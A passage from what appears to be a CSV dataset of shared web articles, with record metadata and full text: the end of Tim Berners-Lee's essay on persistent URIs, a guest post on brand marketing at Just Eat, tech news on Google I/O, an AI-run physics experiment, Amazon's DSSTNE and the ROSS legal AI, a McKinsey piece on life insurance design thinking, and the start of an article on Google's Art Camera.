""cgi.pathfinder.com"", ""secure"", ""lists.w3.org"". They are made to make administration of the servers easier. Whether it represents divisions in your company, or document status, or access level, or security level, be very, very careful before using more than one domain name for more than one type of document. remember that you can hide many web servers inside one apparent web server using redirection and proxying. Oh, and do think about your domain name. If your name is not soap, will you want to be referred to as ""soap.com"" even when you have switched your product line to something else. (With apologies to whoever owns soap.com at the moment). Conclusion Keeping URIs so that they will still be around in 2, 20 or 200 or even 2000 years is clearly not as simple as it sounds. However, all over the Web, webmasters are making decisions which will make it really difficult for themselves in the future. Often, this is because they are using tools whose task is seen as to present the best site in the moment, and no one has evaluated what will happen to the links when things change. The message here is, however, that many, many things can change and your URIs can and should stay the same. They only can if you think about how you design them. See also: (back to Etiquette for server administrators , on to Structure of your work ) Footnote ...from my URIs in a practical file-based web server? If you are using, for example, Apache, you can set it up to do content negotiation. You keep the file extension (such as .png) on the file (e.g. mydog.png ), but refer to the web resource without it. Apache then checks the directory for all files with that name and any extension, and it can also pick the best one out of a set (e.g. GIF and PNG). (You do not have to put different types of file in different directories, in fact the content negotiation won't work if you do.) Set up your server to do content negotiation Make references always to the URI without the extension References which do have the extension on will still work but will not allow your server to select the best of currently available and future formats. (In fact, mydog , mydog.png and mydog.gif are each valid web resources. mydog is content-type-generic. mydog.png and mydog.gif are content-type-specific.) Of course, if you are building your own server, then using a database to relate persistent identifiers to their current form is a very clean idea -- though beware the unbounded growth of your database. Hall of flame -- story 1: Channel 7 During 1999, was a page I found documenting school closings due to snow. An alternative to waiting for them to scroll past the bottom of the TV screen! I put a pointer to it from my home page. Come the first big storm of 2000, and I check the page. It says, ""Closings as of . There are currently no closings in effect. Please check back when the weather warrants"" Can't be such a big storm. Funny the date is missing. But then if I go to the home page of the site, there is a big button ""school closings"" which takes me to which has a list of many closed schools. Well, maybe they changed the system which got the closings from the definitive list - but they did not need to change the URI. Hall of flame -- story 2: Microsoft Netmeeting One of the smarts which came with a growing dependency on the web was that applications could have built-in links back to the manufacturer's web site. This has been used and abused to a great extent, but - you do have to keep the URL the same. Just the other day I tried a link from Microsoft's Netmeeting 2/something client under a menu ""Help/Microsoft on the Web/Free stuff"" and got an Error 404 - not found response from the server. They have probably fixed it by now... (c)1998 Tim BL Historical note: At the end of the 20th century when this was written, ""cool"" was an epithet of approval particularly among young, indicating trendiness, quality, or appropriateness. In the rush to stake our DNS territory involved the choice of domain name and URI path were sometimes directed more toward apparent ""coolness"" than toward usefulness or longevity. This note is an attempt to redirect the energy behind the quest for coolness.",en
1463486136,CONTENT SHARED,-4505450219733822767,-108842214936804958,-4057221104028136288,,,,HTML,http://500.co/brand-marketing-is-a-growth-hack-just-eat/,Brand Marketing is a Growth Hack. Here's the Recipe,"Today's treat is a guest post from entrepreneur, marketing mastermind, and 500 founder Mat Braddy, founder of ROCK PAMPER SCISSORS and former CMO of Just Eat , a European ""unicorn"" that went public in April of 2014. No one thinks of billboards and TV ads when we talk about ""growth hacking"" (we're way too cool for that sh*t, right?), but in today's post Mat shares his takeaways on growth fueled by brand. Mat's company was a recent participant in 500 London's latest Distro Dojo , a growth-focused acceleration and investment program that happens several times a year in locations around the world. I spent most of the last decade helping to build a European 'Unicorn' called . You can tell a European unicorn by its bad teeth, appetite for baguettes and disapproving glare when an American says 'Soccer....' For American readers; Just Eat is like Grubhub. But funnier. It's a takeout delivery service feeding the world in 15 countries and is live in Europe, Canada and Australia. We floated on the London Stock Market in 2014, and a year or so later I left to concentrate on a new startup. Our new app, Rock Pamper Scissors , is attempting to bring hairdresser bookings into the modern world with a focus on the talent of local stylists. I'll save you the pitch - but we were very fortunate to be invested in by 500 Startups and invited into the 2016 intake for Distro Dojo. We had support in streamlining our KPIs, learnt how to take a experimental disciplined approach to growth, and had very valuable exercises in user experience. We left the Dojo even more motivated and confident about our prospects to grow. The focus on experiments and rapid development of ideas is brilliant. The growth hacker has become the growth scientists, as covered in this great article . However, there is an important 'art' to growth that can often get lost in the science - the art of storytelling. This delivers emotional results that are very difficult to metric, yet are often crucial to traction. The biggest success your company can achieve is becoming the first thing out of someone's mouth when they think of your category. Need a ride? Uber. Need a book? Amazon. Need a drink? Coke. Need some chinese food delivered? Just Eat. You get the drift. This is such an ambitious big goal it seems silly to even have it as a aim, yet startups come along all the time that manage to do it. Having built a high growth brand, I believe the recipe should include the following: Be authentic Challenge old norms Be talkable - make customers think Deliver an unreasonably good experiences Let's explore these ingredients in more detail... Authenticity Brands which succeed in cutting through the clutter these days need to hook into emotions with an personality. Before you start working on your brand you have to accept the truth: no-one gives a monkeys about your startup. You are another shrug in a world of 'meh'. To overcome this apathy you need to develop an authentic tone of voice from within your team. Why are you doing this project? What gets you all excited? Imagine you are on a protest march as a team - what changes are you demanding to the world? These are not questions you should rely on your clients to answer for you - you are looking for what the passion is that fuels your team and then you have the start of an authentic voice. Just Eat was founded in Denmark and had a strong 'viking' spirit within the company, this translated into a 'rebellious' voice in our marketing so when we tried to ban cooking it felt authentic with the personality we had already been building with the public. McDonald's at the time were pretending to be a salad bar. Not very authentic and greeted with derision by the public. Challenging brand norms This should be an easier one for a startup - hopefully your idea is a fresh take on an old problem already. The challenge from a brand perspective is how to articulate it succinctly to potential clients. My favourite example is one from Swatch. When Swatch launched they were challenging the belief that Swiss engineered watches were expensive luxuries. To communicate their range of great value products they hung a giant 500ft watch on the side of German skyscrapers. On the strap they wrote ""Swiss. DM 50."" This wasn't just a highly talkable marketing play, it was myth busting the 'normal' assumptions. Be talkable - make them think Millennials, or whatever horrendous label we are giving smartphone addicted consumers this week, are a chatty bunch. A whole generation is coming through that knows how to make YouTube videos, record podcasts and send each other pictures of their naughty bits. Becoming a brand that they talk about is crucial to growth. And to get them to talk you need to make them think. Rock Pamper Scissors could just advertise ""Book a hairdresser in London"" on a tube poster. Or we could say ""Your hair is the last thing you'll wear tonight"". A bit sexy, a bit naughty, & we made you look and made you think. And if we get that far we hopefully have made you talk. Deliver 'unreasonably' good experiences Winning brands in the last few years have delivered fantastic experiences for less cost to the customer than ever before. You used to be happy to wait two weeks for that cheap TV, content that you had a bargain. But now thanks to Amazon you want the cheap TV delivered tonight. Customers are no longer happy to accept trade-offs. Dating online used to require you complete a tedious registration form, commit to a subscription package, and they were actually selling commitments. Match used to claim to have created more marriages than any other service. It's all about commitments. Then along comes Tinder which has no registration form, is free, and is selling flirting. Much more in line with modern customers. It's not fair, but customers want it all and they do not want to commit to get it or have to subscribe. Like I said earlier - your job is to try and become the first thought for the category, and one way to KPI that is using brand awareness surveys. When the UK public was asked to name a takeaway ordering app each month throughout the campaign to ban cooking this is what happened... Spending far less cash than the big incumbent beast of Domino's, we were able to take the top spot and head onwards to the glorious land of IPO. These ingredients tend to build upon each other - Uber is an app that gets me a ride instantly - I no longer have to hang around on street corners with my hand up. It has challenged traditional licenced taxis in a way they feel is unreasonable, and made people talk about it all over the world. My advice is to start with Simon Sinek's famous TED talk , work out your purpose internally and from there work out how to communicate it in the most passionate way possible. Acknowledgements and further reading: I'm a big fan of the author Adam Morgan and I have shamelessly poached much of the thinking above from his books Eating the Big Fish, and A Beautiful Constraint . Give them a read so he doesn't shout at me. About the author Mat Braddy is an entrepreneur and founder of ROCK PAMPER SCISSORS and was formerly the CMO at . Mat joined JUST EAT in 2009 and set about establishing the company as the leading brand in takeaway around the world, resulting in one of Europe's biggest tech IPOs for a decade in 2014. In 2012, Mat led the global launch of JUST EAT's brand campaign to ban home cooking, 'Don't Cook, JUST EAT'. Mat is now busily building a new app; Rock Pamper Scissors where the team are striving to build the default hairstyle app for the 'everything now' generation. It's like Uber. But hairy.",en
1463489032,CONTENT SHARED,-2038869595290705317,-1443636648652872475,-5254252643918124484,,,,HTML,http://www.computerworld.com/article/3071008/enterprise-applications/google-i-o-expect-a-i-virtual-reality.html,"Google I/O: Expect A.I., virtual reality","For a conference that has been used to advance Android and Chrome, and introduce Google Glass with users parachuting from a plane, people are expecting to hear about virtual reality and artificial intelligence at this week's Google I/O conference. ""This year's focus will be virtual reality, no doubt,"" said Jeff Kagan, an independent industry analyst. ""I believe Google wants to be a leader in virtual reality and, in this marketplace where there are no leaders yet, I think they will try and secure their place in the front of the line."" Kagan said Google may even roll out its own early- generation virtual reality device at I/O , the company's annual developer conference, which generally draws more than 6,000 attendees. The conference is being held from Wednesday through Friday in Mountain View, Calif., the same city where Google is headquartered. One of the big differences for this year's conference is that it's not at the Moscone Center in San Francisco. Shoreline Amphitheater The Shoreline Amphitheater in Mountain View, Calif., where this year's Google I/O conference will be held. Google has not given a reason for the change of venue, to the Shoreline Amphitheatre, though many anticipate that the company is looking to use the outdoor fairplex to display advances in its work on autonomous cars, robotics or drones. ""I expect it means Google will be showing off its skills at defining and powering autonomous vehicles -- not just cars but drones and devices of all sorts,"" said Jack Gold, an analyst with J.Gold Associates. ""Cars seem to be getting the headlines but there are a number of autonomous things that Google wants to power."" Gold added that those smart devices could range from autonomous garbage trucks to systems that find an open parking space for your car and autonomous wheelchairs for people with disabilities. ""Think of this as the same kind of race we went through in trying to power smartphones,"" he said. ""Google won big there against the competition, and it is trying to position itself as the power inside the next wave of autonomous vehicles and robotic gadgets, as well."" Scott Strawn, an analyst with IDC, said he thinks Google is likely to show off driverless cars. Google had pushed hard into robotics back in 2013, scooping up Boston Dynamics , the maker of the Atlas humanoid robot and the Big Dog, along with a string of other robotics companies. When reports hit that Google is trying to unload Boston Dynamics, it left many observers wondering how committed the company still is to developing its own robotics technology. ""After Andy Rubin [former head of Google's robotics division] left , it isn't clear how much progress they've made with their robotics program,"" Strawn said. ""But their cars have been in the media quite a bit, which might suggest some kind of unveiling this week."" And with Google's increasing interest in autonomous vehicles and virtual reality, there's a natural push for the company to invest heavily in artificial intelligence and machine learning to support those efforts. Many industry analysts are expecting to hear more about that this week. ""What's most important to me are the efforts Google has around cognitive computing and artificial intelligence,"" said Gold. ""We are seeing major pushes by IBM, with Watson, and Microsoft and others. I'd really like to see how Google plans to counter these efforts."" He added that he's interested to see if Google will talk about or show off an advance to Apple's Siri, or Amazon's Echo. Strawn, too, thinks Google might focus on a smart personal assistant. ""Google is working hard to create an interactive digital assistant,"" said Strawn. ""If you've ever seen the movie Her , that would give you a good idea of the type of interaction they are trying to create. Mostly it would be to help organize people's lives, kind of like an ever-present assistant that you can have a conversation with."" Of course, it wouldn't be Google I/O without talk of Android and Chrome but most aren't expecting huge news out of those areas this week. ""Google always has some type of updates that will be revealed about the next version of Android, even though this year some Android N features have been announced already,"" said Brian Blau, an analyst with Gartner. ""There have been rumors for many years that Android and Chrome OS will be merged or will interoperate to some degree. And while some developers want this merging to happen sooner than later, Google may only look at some interoperability versus a more substantial merging."" Google's cloud efforts also are likely to get some attention. And Project Tango , a technology that enables mobile devices to be aware of their position in the world, is expected to be updated during the conference. ""I believe [Project Tango] was demonstrated at last year's conference, so I expect to see some refinements and further packaging of this intriguing idea,"" said Brad Shimmin, an analyst with Current Analysis. ""Clearly, mobile devices are not just ubiquitous but also heterogeneous in shape, size and purpose. If Google can deliver a set of APIs that engage those devices directly with the physical world around them and with their users, we could be in for something much more momentous than even virtual reality.""",en
1463490976,CONTENT SHARED,-609005539129550395,-1443636648652872475,-5254252643918124484,,,,HTML,http://techcrunch.com/2016/05/16/ai-learns-and-recreates-nobel-winning-physics-experiment/,AI learns and recreates Nobel-winning physics experiment,"Australian physicists, perhaps searching for a way to shorten the work week, have created an AI that can run and even improve a complex physics experiment with little oversight. The research could eventually allow human scientists to focus on high-level problems and research design, leaving the nuts and bolts to a robotic lab assistant. The experiment the AI performed was the creation of a Bose-Einstein condensate, a hyper-cold gas, the process for which won three physicists the Nobel Prize in 2001. It involves using directed radiation to slow a group of atoms nearly to a standstill, producing all manner of interesting effects. The Australian National University team cooled a bit of gas down to 1 microkelvin - that's a thousandth of a degree above absolute zero - then handed over control to the AI. It then had to figure out how to apply its lasers and control other parameters to best cool the atoms down to a few hundred nanokelvin, and over dozens of repetitions, it found more and more efficient ways to do so. ""It did things a person wouldn't guess, such as changing one laser's power up and down, and compensating with another,"" said ANU's Paul Wigley, co-lead researcher, in a news release . ""I didn't expect the machine could learn to do the experiment itself, from scratch, in under an hour. It may be able to come up with complicated ways humans haven't thought of to get experiments colder and make measurements more precise."" Bose-Einstein condensates have strange and wonderful properties, and their extreme sensitivity to fluctuations in energy make them useful for other experiments and measurements. But that same sensitivity makes the process of creating and maintaining them difficult. The AI monitors many parameters at once and can adjust the process quickly and in ways that humans might not understand, but which are nevertheless effective. The result: condensates can be created faster, under more conditions, and in greater quantities. Not to mention the AI doesn't eat, sleep, or take vacations. ""It's cheaper than taking a physicist everywhere with you,"" said the other co-lead researcher, Michael Hush, of the University of New South Wales. ""You could make a working device to measure gravity that you could take in the back of a car, and the artificial intelligence would recalibrate and fix itself no matter what."" This AI is extremely specific in its design, of course, and can't be applied as-is to other problems; for more flexible automation, physicists will still have to rely on the general-purpose research units called ""graduate students."" The team's research appeared today in the journal Scientific Reports. Featured Image: Stuary Hay, ANU",en
1463491138,CONTENT SHARED,-6644942243927487010,-1443636648652872475,-5254252643918124484,,,,HTML,http://www.geekwire.com/2016/amazon-goes-open-source-deep-learning-tech-competing-googles-tensorflow/,"Amazon goes open source with machine-learning tech, competing with Google's TensorFlow - GeekWire","Amazon is making a bigger leap into open-source technology with the unveiling of its machine-learning software DSSTNE . The newly released program is competing with Google's TensorFlow , which the search giant open-sourced last year. Amazon says DSSTNE (which stands for Deep Scalable Sparse Tensor Network Engine and is pronounced ""Destiny"") excels in situations where there isn't a lot of data to train the machine-learning system, whereas TensorFlow is geared for handling tons of data. DSSTNE is also faster than TensorFlow, with Amazon claiming up to 2.1 times the speed in low-data situations. The software comes from Amazon's need to make recommendations in its retail platform, which required the company to develop neural network programs. However, Amazon doesn't always have a lot of data to work from when making those recommendations. Amazon's system can achieve those speeds in part due to multi-GPU capabilities. Unlike other open-source ""deep learning"" programs, DSSTNE can automatically distribute its workload across many GPUs without speed or accuracy tradeoffs that often come with training across multiple machines. ""This means being able to build recommendations systems that can model ten million unique products instead of hundreds of thousands,"" the DSSTNE FAQ says. ""For problems of this size, other packages would need to revert to CPU computation for the sparse data, decreasing performance by about an order of magnitude."" Amazon is releasing the software as an open-source project to help machine learning grow beyond speech and language recognition that many companies are focusing on, instead expanding into areas like search and recommendations. ""We hope that researchers around the world can collaborate to improve it,"" the FAQ reads. ""But more importantly, we hope that it spurs innovation in many more areas."" DSSTNE is available now on GitHub under an Apache 2.0 open-source license.",en
1463491263,CONTENT SHARED,5338575284381070077,-1443636648652872475,-5254252643918124484,,,,HTML,http://gizmodo.com/a-major-law-firm-will-soon-be-using-a-robotic-lawyer-1776733245,A Major Law Firm Will Soon Be Using A Robotic Lawyer,"An ""artificial-intelligence attorney"" created using technology from IBM's Watson has snagged its first customer, but that doesn't mean it'll be appearing in the courtroom anytime soon. Law firm Baker & Hostetler said this week that it will use the ""AI lawyer"" ROSS as a resource for the 50 lawyers in its bankruptcy division, which has helped advise proceedings related to the Bernie Madoff case. Essentially, ROSS is an advanced a research tool. It reads and draws inferences from existing laws to answer questions about specific cases or guidelines that users can ask using natural language. Its machine-learning capabilities allow it to continue improving its answers, and the system can also help keep lawyers up-to-date about new rulings. ROSS could save time for lawyers who need to master a huge, and growing, body of literature to do their job. Instead of reading carefully through every single case that might be relevant, lawyers could quickly get information from ROSS, leaving them free to spend more time analyzing complex details of the most relevant cases and laws. Baker & Hostetler is one of the largest law firms in the world with around 900 attorneys in its employ. The chief executive of ROSS Intelligence, Andrew Arruda, said that other firms have signed on to use the product as well, though no others have made this public. Arruda's team plans to expand ROSS's capabilities beyond bankruptcy law to also cover intellectual property, employment, criminal, and tax law. ROSS isn't the only AI resource to be thrust into the spotlight recently. Georgia Tech has been using a virtual TA to answer student questions , with such success that students didn't realize ""Jill"" was a computer and gave her ""uniformly positive"" reviews. [ American Lawyer via Futurism , Fortune ]",en
1463494497,CONTENT SHARED,4369833742675497700,268671367195911338,-9042980566649783979,,,,HTML,http://www.mckinsey.com/industries/financial-services/our-insights/transforming-life-insurance-with-design-thinking,Transforming life insurance with design thinking,"Better addressing the evolving needs of consumers can help incumbents win their loyalty-and protect against new competitors. For generations, the life insurance industry delivered its promise of financial security with the help of strong actuarial functions, working through intermediated distribution channels. Complex products, limited services, rigid processes, and cumbersome consumer interactions did not necessarily hamper business success. In the past decade, however, the rules of the game have changed. Today's consumers reward transparency, speed, and flexibility, new competitors are looming on the horizon, and the low-interest-rate environment makes the traditional business model a thing of the past. This challenge is reflected in the sector's financial performance: the life industry has grown only 3.1% p.a. globally in the past decade (and only 2% p.a. in Europe), significantly lagging behind other mature industries such as banking or manufacturing, which have achieved a 5 to 6% p.a. growth rate. European life insurance delivered an after-tax ROE of around 8.6% between 2010 and 2015E -in line with the performance of banks (8.6%) and slightly above that of asset management (7.6%)-however still below other mature industries such as retailing (13.1%). To some fintechs, noninsurance incumbents, and venture capitalists, the industry's challenges suggest opportunity. The life insurance value chain is increasingly losing share to these players, who are chipping away at the profit pool of incumbents (Exhibit 1). How can incumbent life insurers keep pace in today's fast-moving competitive environment and meet customers' changing needs? There are three major ingredients of the ""winning recipe"": simplified, compelling product design, a streamlined cost base, and delightful customer journeys. This article focuses on the third ingredient, and describes a new approach called ""design thinking (and doing)"" that connects every aspect of the business, from marketing to distribution, underwriting, and claims. It is a method that goes beyond the traditional mantra of customer centricity and aims to change not only a company's processes but also its people. Incumbent life insurers that don't keep pace will falter; some might disappear. As Klaus Schwab, chairman of the World Economic Forum, famously put it: ""In the new world, it is not the big fish which eats the small fish, it's the fast fish which eats the slow fish."" Size or complexity cannot be an excuse for sluggishness: the top global insurers typically have a market cap of around USD 60 to 80 billion, while Alphabet's (Google) is well over USD 500 billion. The disconnect between life insurers' value proposition and today's customers Imagine Susan, a 34-year-old high school teacher who is expecting her first child and hence decides to buy a life insurance policy. First, it is very unlikely that a provider will proactively reach out to her. If she tries to shop for a policy online, she may be intimidated by complex products and technical terminology that is confusing and makes her feel incompetent. If she looks for an agent and is lucky enough to find one that she feels she can trust, she is likely to have concerns about how much the policy will really cost, the meaning of all the fine print, and whether the agent is more interested in her needs or a quick commission. If Susan overcomes these doubts and decides to buy a policy, she will begin what may be an arduous application process: lengthy forms with sensitive medical questions, weeks of waiting, and little transparency on where things stand. She may wonder why the process is so complicated and time-consuming when many companies in other industries offer convenient, fast (and mostly digital) services. If she has questions on her coverage after buying the product or wants to change her policy, she will likely struggle with the limited self-service options offered by the insurers and may find that her agent has moved on. Such pain points may make Susan abandon the process or take her business elsewhere, as illustrated by the most common business leakage drivers in Exhibit 2. Susan's journey illustrates some of the big challenges facing life insurance: Low engagement . Life insurers have long struggled to engage prospective clients and nurture relationships with existing ones. The product spurs high customer interest but low engagement, leading to significant untapped demand. Distribution is often intermediated through brokers, independent financial advisors, or banks, putting distance between insurers and their customers. And typical customers have very few interactions with their provider compared to other industries, such as banking (Exhibit 3). This is a major barrier to reducing attrition and enabling cross- and upselling. Limited ability to meet the preferences of Generation Y (and the new needs of Generation X) . Generation Y, the millennials now coming of age, will comprise close to half of the insurance customer pool within the next ten years. They expect highly interactive digital experiences, complete price transparency as well as fast and even instant delivery. When seeking information, they rely less on friends and family, looking instead to social communities and online reviews. Thanks to the ""equalizing"" effect of smartphones, the members of Generation X are adopting many of these behaviors rapidly. Few life insurers have the management mindset, functional firepower, or digital talent to develop propositions that meet these preferences. They also have difficulty adjusting to their fast-paced changes. These gaps frustrate consumers-and open the door to agile innovators. Legacy cost structures and IT systems . Life insurance carries a large, inflexible stock of customers/policies, and it is hard to change products or systems when some of the policies on the books were sold 30 years ago. At many incumbents, this means a clunky IT landscape that is difficult and costly to transform, especially given an expense ratio of 9 to 10%. The rigidity of the in-force book creates an environment where old processes never die and costs keep building over time. As a result, industry expense ratios have fallen only slightly in the past ten years; for key European markets, the total expense ratio declined by only 0.5 percentage points between 2000 and 2013. The dilemma of the slow fish . Insurers have historically been slow to change since their business is built on stability and risk aversion. Product development cycles often stretch to a year, and most IT upgrades follow a sequential ""waterfall"" approach. Accountability is diluted, which leads to management by committee and slows delivery. In our recent proprietary Digital Quotient™ assessment (a comprehensive tool that rates an organization's digital maturity across roughly 20 management practices), insurers lag behind digital leaders especially in terms of performance steering and measurement (Exhibit 4). As a consequence, speed of decision making and agility suffer. The life industry has not stood still in the face of these challenges, of course. Many incumbents have launched efforts to transform themselves. Most have experimented with digital initiatives, agile work modes, customer immersion, and so on. Some have set up incubators or accelerators to explore new, customer-centric solutions outside their core operations. Only a few are making the more painful change of transforming their IT platforms to enable digital delivery. And hardly any have truly transformed their basic value propositions or created genuinely customer-centric cultures. Initiatives in this direction often remain cosmetic or produce artifacts that never see the light of day. Applying design thinking to systematically rework customer journeys How can incumbent life insurers reorient themselves around the customer? One powerful approach is to apply the principles of customer-centric ""design thinking,"" which can deliver a compelling end product and be disruptive enough to transform a company's culture along the way. The methodology is based on the insight that optimizing individual touch points is insufficient to deliver a truly satisfactory overall journey-what is required is an end-to-end redesign. It is also informed by the understanding that consumers today do not separate products or services from the experience of buying and owning them. As a result, the entire ""package"" needs to be carefully designed. A few common misconceptions need correcting up front. Design thinking is not just about creating pretty interfaces or replacing paper with digital records. What it really means is applying creative, nonlinear approaches to reinvent how customers interact with the business. It touches on all functions, from product development through underwriting to IT. The essence of this new perspective is to view the customer experience as a source of competitive advantage and taking action-and making investments-accordingly. Applying design thinking to the customer journey in life insurance requires a fundamental shift along four dimensions: Instilling customer empathy . Good design requires real empathy that goes beyond what customers want: it reflects why they want it. In life insurance, fintechs are successfully attacking incumbents in this arena. The sleek experience provided by PolicyGenius, Knip, Acorns, and other start-ups shows that they are anchored in customer preferences. Like with Uber, Airbnb, and many others, the heart of their success is not the digital tool, but the experience it enables. Real empathy allows designers to respond to true underlying needs, not superficial, stated interests. By doing this, it spurs breakthrough innovation. In fact, we believe it is the only way an incumbent insurer can be sure of delivering more than a ""me-too"" customer experience. This kind of empathy requires specific research tools that typically have an ethnographic flavor, such as ""shadowing,"" ""follow me home,"" or ""shopalongs""-but empathy is about more than just collecting ""soft"" insights. A critical part of instilling empathy across the organization is translating it into hard operational metrics that can be tracked and managed (e.g., response time to under-writingrelated inquiries, number of broker or agent calls that get resolved without a call transfer, share of rejections where no alternative product was offered). In this sense, improving customer experience metrics has to become a ""contact sport"" where the entire organization works together to move the same set of numbers. Getting comfortable with an iterative approach . To use the design methodology, insurers have to feel comfortable releasing ""imperfect"" products that offer basic functionalities and services with the goal of obtaining immediate customer feedback. This approach helps avoid costly mistakes down the road and aims to bring new solutions to the market in less than 16 weeks rather than 9 to 12 months. It also means that the product is never really complete: it undergoes constant iteration. In VC and start-up jargon, it is the ""minimum viable product"" refined in multiple consecutive user tests. As an example, in testing a digital application tool, designers found that brokers were most excited about the ""accelerator"" button that allowed them to fast track three policies per month for their high-potential clients. By contrast, bank-based advisors liked a feature that prompted them to hand over the tablet to the customer to answer the sensitive medical questions themselves. To drive this kind of highly responsive innovation, many insurers need to develop a two-speed IT architecture that permits experimentation without disrupting the architecture that supports a massive in-force book. Replacing functional siloes with agile cross-functional teams . Life insurers are conservative organizations built around functions, such as Risk, Underwriting, and Sales. These offer deep expertise, but are too rigid to respond to a rapidly changing environment. In a functional setup, no one owns the full customer experience. In fact, it typically takes one to two weeks (and many work sessions) to create a complete view of the end-to-end customer experience and pain points. What is the solution? Agile, cross-functional teams that are self-motivating and entrepreneurial. They follow a new cadence, including structured, transparent, weekly sprints with daily stand-ups, review meetings, and retrospectives, to learn and take on more accountability. The cultural gap between the traditional and new setup is immense, and incumbents find it hard to navigate the transition. What is important is to anchor this thinking at the top. Having one person monitor every aspect of design thinking could work in the transition phase. It need not be a stand-alone position-one of the existing managers, such as the Chief Marketing Officer, can take on the role. The key is to have a senior leader oversee the end-to-end customer journey. ""Braiding"" business and IT . Traditionally, the business has led IT. Sales and product managers defined their requirements, and IT (and operations) executed. Today's environment has propelled Chief Operating and Chief Technology Officers to a more critical role. Since they are typically the ones who get firsthand exposure to what fintechs and digital providers are experimenting with, they have become the door openers to new possibilities. Operational and IT leaders are often tempted to take over the company's digital agenda, but this approach can easily backfire. Digital and customer transformations stall if leaders cannot show how they deliver value. IT needs the business leaders to link the investment to a clear customer need (and business case). On the other hand, business leaders trying to bypass IT out of frustration with its speed or capabilities doesn't work either. This creates isolated, greenfield solutions that are hard to integrate back into the IT landscape. Common examples are product navigators, insurance coverage calculators and advice tools that are not linked into a single vision or IT infrastructure. The pragmatic middle way is a ""braided"" approach where operations, IT, and business leaders work in close partnership to define and execute a customer-centric strategy. Hallmarks of this approach include an honest dialog about the starting position as well as real-time investment in defining a joint digital ambition. Turning design thinking into results Life insurers can adopt design thinking with an agile, sprint-based approach that allows for a full experience redesign in 8 to 12 weeks (for one product proposition). A design wave of this kind has three critical components: Immersion . As described earlier, customer immersion involves a rich set of interviews, shadowing, and desk observations of end customers and distribution partners. It is critical to engage a broad set of stakeholders in this phase: customer immersion should be mandatory for everyone who works on the design. It is also important to differentiate between traditional customer research and immersion, coach the team on the difference between both, and show how to uncover and document fresh insights. A sign of success is if the team members start quoting the customers they have spoken to and tackle service issues through the eyes of customer ""personas"" they have created. The outcome of the immersion is a detailed depiction of the customer journey that highlights pain points and links them to hard operational metrics, such as policy processing time, number of rejections without an alternative offer, or average number of interactions with clients per year. Ideation . Ideation starts with brainstorming around the target journey, devoid of any internal or external constraints. The goals are to resolve basic pain points and servicing issues as well as to develop ""signature moments"" that can drive customer loyalty and cross-selling. Examples could be emotionally charged moments, such as year-end thank-you cards to the policy beneficiaries to remind them that they are protected. Other features like a simplified 2-minute upfront risk check to provide immediate price guidance, or a real-time application status tracker could be very compelling as well. Surprise and delight elements, such as accelerated paths for simple applications, can also be powerful. The vision then needs to be translated into pragmatic actions, many of which will not be digital in nature, such as underwriting services or turnaround times. A systematic leakage analysis along the customer journey provides the basis for prioritizing across these initiatives. In a next step, the initiatives are translated into mock-ups of processes that allow visualization of the new customer experience. At the end of the ideation phase, the crude mock-ups become detailed prototypes. Iteration . Iterations are built on user tests and are ideally done in short, weekly sprints. The willingness to let go of ""pet"" features and ideas if they fail the customer test is a critical prerequisite in this phase. While the designs are being iterated, the technical implementation can begin in an agile way to deliver value to the customer (and road test the new design) in the shortest time possible. Importantly, iteration continues after the launch of the new proposition or service. As the organization moves towards a test-and-learn approach, it needs to use market feedback to spur the next iteration. Since today's consumers expect frequent updates and new features in nearly every product and service, the insurer's innovation work is never done. Transforming into an analytics-driven insurance carrier Read the article Hallmarks (and impact) of a revamped customer journey The end product of the redesign process is a new customer experience that can combine radical changes with surprise elements and simple operational improvements. It is an experience that our protagonist Susan can enjoy and even recommend to friends. What could this look like? Susan might be proactively contacted by an insurer with a short message that explains the value of buying a life insurance policy given her family situation, thus saving her extensive research. The outreach could include a link to tool that maps her needs (and demographics) in a quick, ""human"" and fun way-and delivers an instant offer with a buying rationale that feels personal to her (even if it is ""just"" a smart algorythm). When visiting the insurer's Web site, she might be able to select her agent based on shared interests or background (which is proven to build trust-and hence sales successs). If her policy is not issued instantly, she can track her application status online, and see the estimated day when her policy will be (e)mailed to her. When the policy arrives, it comes with an emotional gesture that ""rewards"" her for taking care of an important financial to do for her family. Examples could be a token gift or a branded card with the product name and coverage amount that she can share with her beneficiary. Obscure jargon is banned from all communications. Once Susan becomes a customer, she gets quarterly account updates with just the two to three headline data she cares about. What is more, she can adapt the policy on a self-service site without having to download an app, and she can choose to buy additional products without having to reenter all her data. These elements are just examples and focused purely on the end customer. Our work with different insurance clients has shown that there is typically a portfolio of 40 to 60 experience elements along the journey that can be built in to create a delightful experience-not only for end customers, but also for agents and brokers. The financial impact is significant. Depending on the starting situation, an overhaul of the journey can generate a 50 to 100% increase in new premium. Life insurers in Europe and across the globe need a jolt to keep pace with a new breed of customers and attackers. We believe that design thinking can be a fresh approach that provides this, because it allows transformation that spans functional lines and changes the way people think and act. It is also a proven tool that has already delivered results in many other industries. Incumbent life insurers are now called upon to take action and make the much-needed change happen. About the author(s) Jochen Kühn and Ildiko Ring are partners in McKinsey's Zurich office, where Maximilian Straub is a consultant. Markus Berger-de Leon, digital partner, is head of McKinsey Digital Labs Studio Germany. The authors wish to thank Mark Bothorn for his contributions to this article.",en
1463499606,CONTENT SHARED,-6184570078369383337,-1032019229384696495,4836762251237058207,,,,HTML,http://techcrunch.com/2016/05/17/google-unveils-a-gigapixel-art-camera-that-lets-you-view-paintings-down-to-the-brushstrokes/,Google unveils a gigapixel 'Art Camera' that lets you view paintings down to the brushstrokes,"Google's Cultural Institute , the company's initiative to preserve the world's culture and history by bringing it online, has this morning unveiled a new project aimed at allowing web users the ability to view art up close - down to the very brushstrokes. Google had invented a new camera it's dubbing the ""Art Camera,"" which is a custom-built, robotic camera capable of capturing gigapixel images quickly. This camera is steered by a robotic system across the painting in question, taking hundreds or even thousands of high-resolution close-ups. To focus precisely, it uses both a laser and sonar system. The latter uses high-frequency sound to measure the distance of the artwork to better position itself. Yes, the camera hears like a bat does, Google points out. Of course, capturing these images is only one feat - they then have to be assembled coherently. Google's software is capable of stitching the images together to create a single image, it says. These images are being shared online, so people can get as close to experiencing the art as possible, without being able to view it in real life. Many of the details found in paintings, after all, are those that you only see when you view the art in person by walking up to the canvas. There, you can see things like the way Impressionists combine dabs and dashes of paint to form an image that becomes clearer as you step back, or uncover hidden items like a hidden signature . Google has already shared around 200 gigapixel images online during the Google Cultural Institute's first five years, but the process before was slower, and involved highly specialized and expensive equipment, as well as highly trained individuals capable of doing the job. Now it has a smart robotic camera that can do the job instead, and much more quickly. Instead of a day, it could take just 30 minutes to scan a painting. That means Google will be able to greatly increase the number of these images made available to web surfers. In fact, it has already scanned another 1,000 images over the past few 